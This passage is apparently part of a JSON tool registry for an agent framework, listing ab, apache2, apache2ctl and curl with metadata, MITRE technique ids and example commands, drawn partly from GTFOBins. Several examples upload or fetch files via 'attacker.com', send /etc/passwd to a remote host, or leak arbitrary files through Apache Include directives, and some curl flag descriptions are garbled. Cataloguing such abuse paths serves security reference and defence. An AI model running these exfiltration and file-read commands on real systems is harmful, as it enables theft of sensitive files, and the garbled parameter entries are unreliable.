    "namespace": "network:ftp:tftp",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/tftp/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# ab — Apache HTTP Benchmark\n\nab is a tool for benchmarking Apache HTTP servers. It can also be abused for file transfer operations when the binary has special privileges.\n\n## File Transfer\n\n```bash\n# Download file from remote server\nab -v2 http://attacker.com/path/to/input-file\n\n# Upload file via POST\nab -p /path/to/input-file http://attacker.com/\n```\n\n## Benchmarking\n\n```bash\nab -n 1000 -c 10 http://example.com/\n```\n",
    "_source": "ab.md",
    "allowed-tools": [
      "ab",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [
      {
        "type": "network.http.benchmark",
        "description": "HTTP benchmark results",
        "mime": "text/plain",
        "trust_level": "community"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.transfer.download",
      "network.transfer.upload",
      "network.http.benchmark"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.url",
          "description": "Target URL for benchmark or transfer"
        }
      ],
      "outputs": [
        {
          "type": "network.http.benchmark",
          "description": "Benchmark results",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Apache HTTP server benchmarking tool that can also be used for file download and upload operations.",
    "examples": [
      {
        "description": "Download file from attacker server via verbose output",
        "command": "ab -v2 http://attacker.com/path/to/input-file"
      },
      {
        "description": "Upload a local file via POST",
        "command": "ab -p /path/to/input-file http://attacker.com/"
      },
      {
        "description": "Basic benchmark with 1000 requests, concurrency 10",
        "command": "ab -n 1000 -c 10 http://example.com/"
      }
    ],
    "execution": {
      "template": "ab {v} {n} {c}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive"
    ],
    "global_vars": {
      "target": "url"
    },
    "id": "network-http-ab",
    "install": [
      {
        "method": "apt",
        "package_name": "apache2-utils",
        "commands": [
          "apt-get install -y apache2-utils"
        ]
      }
    ],
    "mitre_ids": [
      "T1005",
      "T1046",
      "T1048",
      "T1074",
      "T1114",
      "T1190",
      "T1595"
    ],
    "name": "ab",
    "namespace": "network:http:ab",
    "parameters": [
      {
        "name": "v",
        "type": "integer",
        "required": false,
        "description": "Verbosity level",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "p",
        "type": "file",
        "required": false,
        "description": "File to POST",
        "aliases": [
          "-p",
          "--post-file"
        ],
        "flag": "-p"
      },
      {
        "name": "n",
        "type": "integer",
        "required": false,
        "description": "Number of requests",
        "aliases": [
          "-n",
          "--requests"
        ],
        "flag": "-n"
      },
      {
        "name": "c",
        "type": "integer",
        "required": false,
        "description": "Concurrency level",
        "aliases": [
          "-c",
          "--concurrency"
        ],
        "flag": "-c"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Apache ab documentation",
        "url": "https://httpd.apache.org/docs/current/programs/ab.html"
      }
    ],
    "related_tools": [
      "curl",
      "wget"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "exfiltration",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "benchmark-results"
      ],
      "consumes": [
        "target-url"
      ]
    }
  },
  {
    "_body": "\n# apache2 — Apache HTTP Server\n\nApache HTTP server. When used with sudo or SUID, config file paths passed with `-f` or `-C Include` can leak arbitrary file content through error messages.\n",
    "_source": "apache2.md",
    "allowed-tools": [
      "apache2",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.read",
      "network.http.server",
      "network.http.serve"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to file read via config"
        }
      ],
      "outputs": [
        {
          "type": "system.file.content",
          "description": "File content leaked in error messages",
          "mime": "text/plain"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 64,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Apache HTTP server that can be used for file read operations via configuration directives.",
    "examples": [
      {
        "description": "Read arbitrary file via config parsing error message",
        "command": "apache2 -f /path/to/input-file"
      },
      {
        "description": "Read arbitrary file via Include directive",
        "command": "apache2 -C 'Define APACHE_RUN_DIR /' -C 'Include /path/to/input-file'"
      }
    ],
    "execution": {
      "template": "apache2 {f} {C}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "remote"
    ],
    "global_vars": {},
    "id": "network-http-apache2",
    "install": [
      {
        "method": "apt",
        "package_name": "apache2",
        "commands": [
          "apt-get install -y apache2"
        ]
      }
    ],
    "mitre_ids": [
      "T1005",
      "T1046",
      "T1048",
      "T1074",
      "T1114",
      "T1190",
      "T1595"
    ],
    "name": "apache2",
    "namespace": "network:http:apache2",
    "parameters": [
      {
        "name": "f",
        "type": "file",
        "required": false,
        "description": "Specify config file path",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "C",
        "type": "string",
        "required": false,
        "description": "Pass a config directive",
        "aliases": [
          "-C"
        ],
        "flag": "-C"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Apache HTTP documentation",
        "url": "https://httpd.apache.org/docs/"
      }
    ],
    "related_tools": [
      "apache2ctl",
      "nginx"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 64,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "config-file"
      ]
    }
  },
  {
    "_body": "\n# apache2ctl — Apache HTTP Server Control\n\nControl interface for Apache HTTP server. When used with sudo, the `-c Include` directive can leak file contents through error messages.\n",
    "_source": "apache2ctl.md",
    "allowed-tools": [
      "apache2ctl",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.read",
      "network.http.server.control"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to file to read"
        }
      ],
      "outputs": [
        {
          "type": "system.file.content",
          "description": "File content leaked in error messages",
          "mime": "text/plain"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Apache HTTP server control interface that can leak file contents via config Include directive.",
    "examples": [
      {
        "description": "Read arbitrary file via Include directive in config",
        "command": "apache2ctl -c 'Include /path/to/input-file'"
      }
    ],
    "execution": {
      "template": "apache2ctl {c}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "remote"
    ],
    "global_vars": {},
    "id": "network-http-apache2ctl",
    "install": [
      {
        "method": "apt",
        "package_name": "apache2",
        "commands": [
          "apt-get install -y apache2"
        ]
      }
    ],
    "mitre_ids": [
      "T1005",
      "T1046",
      "T1048",
      "T1074",
      "T1114",
      "T1190",
      "T1595"
    ],
    "name": "apache2ctl",
    "namespace": "network:http:apache2ctl",
    "parameters": [
      {
        "name": "c",
        "type": "string",
        "required": false,
        "description": "Pass a config directive",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Apache2ctl documentation",
        "url": "https://httpd.apache.org/docs/current/programs/apachectl.html"
      }
    ],
    "related_tools": [
      "apache2"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "config-file"
      ]
    }
  },
  {
    "_body": "\n# curl — Data Transfer Client\n\ncurl is a command-line tool for transferring data using URL syntax, supporting a wide range of protocols including HTTP, HTTPS, FTP, SFTP, SCP, LDAP, and more. It is one of the most widely used and versatile networking utilities available.\n\n## Core Concepts\n\ncurl operates on a simple principle: provide a URL and optional configuration flags, and it will transfer data to or from that endpoint. It supports every major authentication method, protocol variant, and data encoding scheme.\n\n### Request Methods\n\nThe HTTP method defines the type of operation curl performs:\n\n| Method   | Purpose                       | Common Use Case              |\n|----------|-------------------------------|------------------------------|\n| `GET`    | Retrieve data                 | API queries, page downloads  |\n| `POST`   | Submit new data               | Form submissions, API writes |\n| `PUT`    | Replace existing data         | Resource updates             |\n| `DELETE` | Remove a resource             | API deletions                |\n| `PATCH`  | Partial resource modification | Incremental updates          |\n| `HEAD`   | Retrieve headers only         | Link checking, metadata      |\n\n## Common Usage Patterns\n\n### API Testing\n\ncurl is the de facto standard for API testing from the command line:\n\n```bash\n# Authenticated API call with bearer token\ncurl -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIs...\" \\\n     -H \"Accept: application/json\" \\\n     https://api.example.com/v1/users\n\n# GraphQL query\ncurl -X POST \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"query\": \"query { users { id name } }\"}' \\\n  https://api.example.com/graphql\n```\n\n### File Transfer\n\n```bash\n# Resume an interrupted download\ncurl -C - -o largefile.iso https://example.com/largefile.iso\n\n# Upload a file via FTP\ncurl -T localfile.txt ftp://ftp.example.com/upload/\n```\n\n### Debugging and Inspection\n\n```bash\n# Verbose output showing full request/response\ncurl -v https://example.com\n\n# Trace with timing breakdown\ncurl -w \"\\nTime: %{time_total}s\\n\" https://example.com\n```\n\n## Security Considerations\n\n- Use `-k`/`--insecure` only for testing; never in production scripts\n- Always verify SSL certificates in automated workflows\n- Be aware that `-d` data appears in process listings; use `--data-urlencode` for sensitive payloads\n- Prefer environment variables or `.netrc` files over inline credentials\n\n## Related Tools\n\n- **[wget](../traffic/wget.md)** — Alternative download tool with recursive capabilities\n- **[httpie](../http/httpie.md)** — Human-friendly HTTP client with syntax highlighting\n- **[jq](../text/jq.md)** — JSON processor for post-processing curl output\n",
    "_source": "curl.md",
    "allowed-tools": [
      "curl",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [
      {
        "type": "network.http.response",
        "description": "Raw HTTP response body",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "network.http.headers",
        "description": "HTTP response headers",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "network.transfer.file",
        "description": "File downloaded from remote server",
        "trust_level": "community"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.transfer.download",
      "network.transfer.upload",
      "network.http.api",
      "network.http.fetch",
      "network.http.inspect",
      "system.file.read",
      "system.file.write"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.url",
          "description": "Target URL for HTTP request"
        },
        {
          "type": "network.http.headers",
          "description": "Custom HTTP request headers"
        }
      ],
      "outputs": [
        {
          "type": "network.http.response",
          "description": "HTTP response body",
          "mime": "text/plain"
        },
        {
          "type": "network.http.headers",
          "description": "HTTP response headers",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Transfers data from or to a server using supported protocols (HTTP, HTTPS, FTP, SFTP, SCP, etc.).",
    "examples": [
      {
        "description": "Perform a simple GET request",
        "command": "curl https://api.example.com/endpoint"
      },
      {
        "description": "POST JSON data to an API",
        "command": "curl -X POST -H 'Content-Type: application/json' -d '{\"key\":\"value\"}' https://api.example.com/submit"
      },
      {
        "description": "Download a file with progress",
        "command": "curl -L -o file.zip https://example.com/file.zip"
      },
      {
        "description": "Inspect response headers only",
        "command": "curl -I https://example.com"
      },
      {
        "description": "Send a local file to a remote server in a POST request.",
        "command": "curl --data @/etc/passwd http://website.com/\n"
      },
      {
        "description": "Read local files by using the file:// schema.",
        "command": "curl file:///etc/passwd\n"
      },
      {
        "description": "Downloads a file to a destination.",
        "command": "curl http://website.com/ -o /tmp/\n"
      },
      {
        "description": "Argument injection: upload file: Send a local file to a remote server in a POST request.",
        "command": "curl --data @/etc/passwd http://website.com/"
      },
      {
        "description": "Argument injection: upload file: Send a local file to a remote server in a POST request.",
        "command": "curl -F 'var=@/etc/passwd' http://website.com/"
      },
      {
        "description": "Argument injection: upload file: Send a local file to a remote server in a POST request.",
        "command": "curl --upload-file /etc/passwd http://website.com/"
      },
      {
        "description": "Argument injection: read local file: Read local files by using the file:// schema.",
        "command": "curl file:///etc/passwd"
      },
      {
        "description": "Argument injection: download file: Downloads a file to a destination.",
        "command": "curl http://website.com/ -o /tmp/"
      },
      {
        "description": "Argument injection: write to local file: Uses file-read to effectively copy files.",
        "command": "curl file:///etc/passwd -o /tmp/"
      },
      {
        "description": "Download a file from a URL and save it with a specific name",
        "command": "curl -o filename.ext http://example.com/file.txt"
      },
      {
        "description": "Download a file from a URL and save it with the original filename",
        "command": "curl -O http://example.com/file.txt"
      },
      {
        "description": "Download a file and limit the download speed",
        "command": "curl --limit-rate 100K http://example.com/file.txt"
      },
      {
        "description": "Follow redirects if the URL has moved",
        "command": "curl -L http://example.com"
      },
      {
        "description": "Send POST data to a server",
        "command": "curl -d \"name=value\" http://example.com/resource"
      },
      {
        "description": "Send JSON data with a POST request",
        "command": "curl -H \"Content-Type: application/json\" -d '{\"key\":\"value\"}' http://example.com/resource"
      },
      {
        "description": "Include headers in the output",
        "command": "curl -i http://example.com"
      },
      {
        "description": "Display only the HTTP headers for a GET request",
        "command": "curl -I http://example.com"
      },
      {
        "description": "Send a request with a custom header",
        "command": "curl -H \"Custom-Header: Value\" http://example.com"
      },
      {
        "description": "Authenticate with a username and password",
        "command": "curl -u username:password http://example.com"
      },
      {
        "description": "Use a different request method like PUT or DELETE",
        "command": "curl -X PUT http://example.com/resource"
      },
      {
        "description": "Download multiple URLs in sequence",
        "command": "curl -O http://example.com/file1.txt -O http://example.com/file2.txt"
      },
      {
        "description": "Resume a failed or interrupted download",
        "command": "curl -C - -O http://example.com/largefile.zip"
      },
      {
        "description": "Transfer a file using FTP",
        "command": "curl -T localfile.txt ftp://ftp.example.com/upload/"
      },
      {
        "description": "Specify a proxy for the request",
        "command": "curl -x http://proxy-server:port http://example.com"
      },
      {
        "description": "Send data with the URL encoded format",
        "command": "curl --data-urlencode \"key=value\" http://example.com/resource"
      },
      {
        "description": "Save the response headers to a file",
        "command": "curl -D headers.txt http://example.com"
      },
      {
        "description": "Download a file and run it through a pipe (e.g., to `grep`)",
        "command": "curl http://example.com/file.txt | grep \"search-string\""
      }
    ],
    "execution": {
      "template": "curl {abstract-unix-socket} {append} {aws-sigv4} {cert} {config}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": true
    },
    "execution_policy": "enabled",
    "features": [
      "output-json",
      "streaming",
      "file-system",
      "network-intensive"
    ],
    "global_vars": {
      "target": "ip",
      "port": "port"
    },
    "id": "network-http-curl",
    "install": [
      {
        "method": "apt",
        "package_name": "curl",
        "commands": [
          "apt-get install -y curl"
        ]
      },
      {
        "method": "brew",
        "package_name": "curl",
        "commands": [
          "brew install curl"
        ]
      }
    ],
    "mitre_ids": [
      "T1005",
      "T1046",
      "T1048",
      "T1074",
      "T1114",
      "T1190",
      "T1595"
    ],
    "name": "curl",
    "namespace": "network:http:curl",
    "parameters": [
      {
        "name": "abstract-unix-socket",
        "template_key": "abstract-unix-socket",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "--alt-svc <filename> Enable alt-svc with this cache file --anyauth Pick any authentication method",
        "aliases": [
          "--abstract-unix-socket <path>"
        ],
        "flag": "--abstract-unix-socket"
      },
      {
        "name": "alt_svc",
        "type": "boolean",
        "required": false,
        "description": "with this cache file",
        "aliases": [
          "--alt-svc",
          "-svc"
        ],
        "flag": "-svc"
      },
      {
        "name": "anyauth",
        "type": "boolean",
        "required": false,
        "description": "Pick any authentication method",
        "aliases": [
          "--anyauth"
        ],
        "flag": "--anyauth"
      },
      {
        "name": "append",
        "template_key": "append",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Append to target file when uploading",
        "aliases": [
          "-a",
          "--append"
        ],
        "flag": "-a"
      },
      {
        "name": "aws-sigv4",
        "template_key": "aws-sigv4",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "--basic HTTP Basic Authentication --ca-native Load CA certs from the OS --cacert <file> CA certificate to verify peer against --capath <dir> CA directory to verify peer against",
        "aliases": [
          "--aws-sigv4 <provider1[:prvdr2[:reg[:srv]]]>"
        ],
        "flag": "--aws-sigv4"
      },
      {
        "name": "ca_native",
        "type": "boolean",
        "required": false,
        "description": "Load CA certs from the OS",
        "aliases": [
          "--ca-native"
        ],
        "flag": "--ca-native"
      },
      {
        "name": "cacert",
        "type": "boolean",
        "required": false,
        "description": "CA certificate to verify peer against",
        "aliases": [
          "--cacert"
        ],
        "flag": "--cacert"
      },
      {
        "name": "capath",
        "type": "boolean",
        "required": false,
        "description": "CA directory to verify peer against",
        "aliases": [
          "--capath"
        ],
        "flag": "--capath"
      },
      {
        "name": "cert",
        "template_key": "cert",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--cert-status Verify server cert status OCSP-staple --cert-type <type> Certificate type (DER/PEM/ENG/PROV/P12) --ciphers <list> TLS 1.2 (1.1, 1.0) ciphers to use --compressed Request compressed response --compressed-ssh Enable SSH compression",
        "aliases": [
          "-E",
          "--cert <certificate[:password]>"
        ],
        "flag": "-E"
      },
      {
        "name": "cert_status",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--cert-status",
          "-staple"
        ],
        "flag": "-staple"
      },
      {
        "name": "cert_type",
        "type": "boolean",
        "required": false,
        "description": "Certificate type (DER/PEM/ENG/PROV/P12)",
        "aliases": [
          "--cert-type"
        ],
        "flag": "--cert-type"
      },
      {
        "name": "ciphers",
        "type": "boolean",
        "required": false,
        "description": "TLS 1.2 (1.1, 1.0) ciphers to use",
        "aliases": [
          "--ciphers"
        ],
        "flag": "--ciphers"
      },
      {
        "name": "compressed",
        "type": "boolean",
        "required": false,
        "description": "Request compressed response",
        "aliases": [
          "--compressed"
        ],
        "flag": "--compressed"
      },
      {
        "name": "compressed_ssh",
        "type": "boolean",
        "required": false,
        "description": "Enable SSH compression",
        "aliases": [
          "--compressed-ssh"
        ],
        "flag": "--compressed-ssh"
      },
      {
        "name": "config",
        "template_key": "config",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Read config from a file",
        "aliases": [
          "-K",
          "--config <file>"
        ],
        "flag": "-K"
      },
      {
        "name": "connect-timeout",
        "template_key": "connect-timeout",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Maximum time allowed to connect",
        "aliases": [
          "--connect-timeout <seconds>"
        ],
        "flag": "--connect-timeout"
      },
      {
        "name": "connect-to",
        "template_key": "connect-to",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--connect-to <HOST1:PORT1:HOST2:PORT2>"
        ],
        "flag": "--connect-to"
      },
      {
        "name": "continue-at",
        "template_key": "continue-at",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Resumed transfer offset",
        "aliases": [
          "-C",
          "--continue-at <offset>"
        ],
        "flag": "-C"
      },
      {
        "name": "cookie",
        "template_key": "cookie",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Send cookies from string/load from file",
        "aliases": [
          "-b",
          "--cookie <data|filename>"
        ],
        "flag": "-b"
      },
      {
        "name": "cookie-jar",
        "template_key": "cookie-jar",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Save cookies to <filename> after operation",
        "aliases": [
          "-c",
          "--cookie-jar <filename>"
        ],
        "flag": "-c"
      },
      {
        "name": "create-dirs",
        "template_key": "create-dirs",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Create necessary local directory hierarchy",
        "aliases": [
          "--create-dirs"
        ],
        "flag": "--create-dirs"
      },
      {
        "name": "create-file-mode",
        "template_key": "create-file-mode",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "File mode for created files",
        "aliases": [
          "--create-file-mode <mode>"
        ],
        "flag": "--create-file-mode"
      },
      {
        "name": "crlf",
        "template_key": "crlf",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Convert LF to CRLF in upload",
        "aliases": [
          "--crlf"
        ],
        "flag": "--crlf"
      },
      {
        "name": "crlfile",
        "template_key": "crlfile",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Certificate Revocation list",
        "aliases": [
          "--crlfile <file>"
        ],
        "flag": "--crlfile"
      },
      {
        "name": "curves",
        "template_key": "curves",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "(EC) TLS key exchange algorithms to request",
        "aliases": [
          "--curves <list>"
        ],
        "flag": "--curves"
      },
      {
        "name": "data",
        "template_key": "data",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "HTTP POST data",
        "aliases": [
          "-d",
          "--data <data>"
        ],
        "flag": "-d"
      },
      {
        "name": "data-ascii",
        "template_key": "data-ascii",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "HTTP POST ASCII data",
        "aliases": [
          "--data-ascii <data>"
        ],
        "flag": "--data-ascii"
      },
      {
        "name": "data-binary",
        "template_key": "data-binary",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "HTTP POST binary data",
        "aliases": [
          "--data-binary <data>"
        ],
        "flag": "--data-binary"
      },
      {
        "name": "data-raw",
        "template_key": "data-raw",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "HTTP POST data, '@' allowed",
        "aliases": [
          "--data-raw <data>"
        ],
        "flag": "--data-raw"
      },
      {
        "name": "data-urlencode",
        "template_key": "data-urlencode",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "HTTP POST data URL encoded",
        "aliases": [
          "--data-urlencode <data>"
        ],
        "flag": "--data-urlencode"
      },
      {
        "name": "delegation",
        "template_key": "delegation",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "GSS-API delegation permission",
        "aliases": [
          "--delegation <LEVEL>"
        ],
        "flag": "--delegation"
      },
      {
        "name": "digest",
        "template_key": "digest",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "HTTP Digest Authentication",
        "aliases": [
          "--digest"
        ],
        "flag": "--digest"
      },
      {
        "name": "disable",
        "template_key": "disable",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable .curlrc",
        "aliases": [
          "-q",
          "--disable"
        ],
        "flag": "-q"
      },
      {
        "name": "disable-eprt",
        "template_key": "disable-eprt",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Inhibit using EPRT or LPRT",
        "aliases": [
          "--disable-eprt"
        ],
        "flag": "--disable-eprt"
      },
      {
        "name": "disable-epsv",
        "template_key": "disable-epsv",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Inhibit using EPSV",
        "aliases": [
          "--disable-epsv"
        ],
        "flag": "--disable-epsv"
      },
      {
        "name": "disallow-username-in-url",
        "template_key": "disallow-username-in-url",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disallow username in URL",
        "aliases": [
          "--disallow-username-in-url"
        ],
        "flag": "--disallow-username-in-url"
      },
      {
        "name": "dns-interface",
        "template_key": "dns-interface",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Interface to use for DNS requests",
        "aliases": [
          "--dns-interface <interface>"
        ],
        "flag": "--dns-interface"
      },
      {
        "name": "dns-ipv4-addr",
        "template_key": "dns-ipv4-addr",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "IPv4 address to use for DNS requests",
        "aliases": [
          "--dns-ipv4-addr <address>"
        ],
        "flag": "--dns-ipv4-addr"
      },
      {
        "name": "dns-ipv6-addr",
        "template_key": "dns-ipv6-addr",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "IPv6 address to use for DNS requests",
        "aliases": [
          "--dns-ipv6-addr <address>"
        ],
        "flag": "--dns-ipv6-addr"
      },
      {
        "name": "dns-servers",
        "template_key": "dns-servers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "DNS server addrs to use",
        "aliases": [
          "--dns-servers <addresses>"
        ],
        "flag": "--dns-servers"
      },
      {
        "name": "doh-cert-status",
        "template_key": "doh-cert-status",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Verify DoH server cert status OCSP-staple",
        "aliases": [
          "--doh-cert-status"
        ],
        "flag": "--doh-cert-status"
      },
      {
        "name": "doh-insecure",
        "template_key": "doh-insecure",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Allow insecure DoH server connections",
        "aliases": [
          "--doh-insecure"
        ],
        "flag": "--doh-insecure"
      },
      {
        "name": "doh-url",
        "template_key": "doh-url",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Resolve hostnames over DoH",
        "aliases": [
          "--doh-url <URL>"
        ],
        "flag": "--doh-url"
      },
      {
        "name": "dump-ca-embed",
        "template_key": "dump-ca-embed",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Write the embedded CA bundle to standard output",
        "aliases": [
          "--dump-ca-embed"
        ],
        "flag": "--dump-ca-embed"
      },
      {
        "name": "dump-header",
        "template_key": "dump-header",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Write the received headers to <filename>",
        "aliases": [
          "-D",
          "--dump-header <filename>"
        ],
        "flag": "-D"
      },
      {
        "name": "ech",
        "template_key": "ech",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Configure ECH",
        "aliases": [
          "--ech <config>"
        ],
        "flag": "--ech"
      },
      {
        "name": "egd-file",
        "template_key": "egd-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "EGD socket path for random data",
        "aliases": [
          "--egd-file <file>"
        ],
        "flag": "--egd-file"
      },
      {
        "name": "engine",
        "template_key": "engine",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Crypto engine to use",
        "aliases": [
          "--engine <name>"
        ],
        "flag": "--engine"
      },
      {
        "name": "etag-compare",
        "template_key": "etag-compare",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Load ETag from file",
        "aliases": [
          "--etag-compare <file>"
        ],
        "flag": "--etag-compare"
      },
      {
        "name": "etag-save",
        "template_key": "etag-save",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Parse incoming ETag and save to a file",
        "aliases": [
          "--etag-save <file>"
        ],
        "flag": "--etag-save"
      },
      {
        "name": "expect100-timeout",
        "template_key": "expect100-timeout",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-c",
          "--expect100-timeout <seconds>"
        ],
        "flag": "-c"
      },
      {
        "name": "fail",
        "template_key": "fail",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Fail fast with no output on HTTP errors",
        "aliases": [
          "-f",
          "--fail"
        ],
        "flag": "-f"
      },
      {
        "name": "fail-early",
        "template_key": "fail-early",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Fail on first transfer error",
        "aliases": [
          "--fail-early"
        ],
        "flag": "--fail-early"
      },
      {
        "name": "fail-with-body",
        "template_key": "fail-with-body",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "Fail on HTTP errors but save the body",
        "aliases": [
          "--fail-with-body"
        ],
        "flag": "--fail-with-body"
      },
      {
        "name": "false-start",
        "template_key": "false-start",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable TLS False Start",
        "aliases": [
          "--false-start"
        ],
        "flag": "--false-start"
      },
      {
        "name": "follow",
        "template_key": "follow",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Follow redirects per spec",
        "aliases": [
          "--follow"
        ],
        "flag": "--follow"
      },
      {
        "name": "form",
        "template_key": "form",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify multipart MIME data",
        "aliases": [
          "-F",
          "--form <name"
        ],
        "flag": "-F"
      },
      {
        "name": "form-escape",
        "template_key": "form-escape",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Escape form fields using backslash",
        "aliases": [
          "--form-escape"
        ],
        "flag": "--form-escape"
      },
      {
        "name": "form-string",
        "template_key": "form-string",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify multipart MIME data",
        "aliases": [
          "--form-string <name"
        ],
        "flag": "--form-string"
      },
      {
        "name": "ftp-account",
        "template_key": "ftp-account",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Account data string",
        "aliases": [
          "--ftp-account <data>"
        ],
        "flag": "--ftp-account"
      },
      {
        "name": "ftp-alternative-to-user",
        "template_key": "ftp-alternative-to-user",
        "type": "string",
        "required": false,
        "default_value": null,
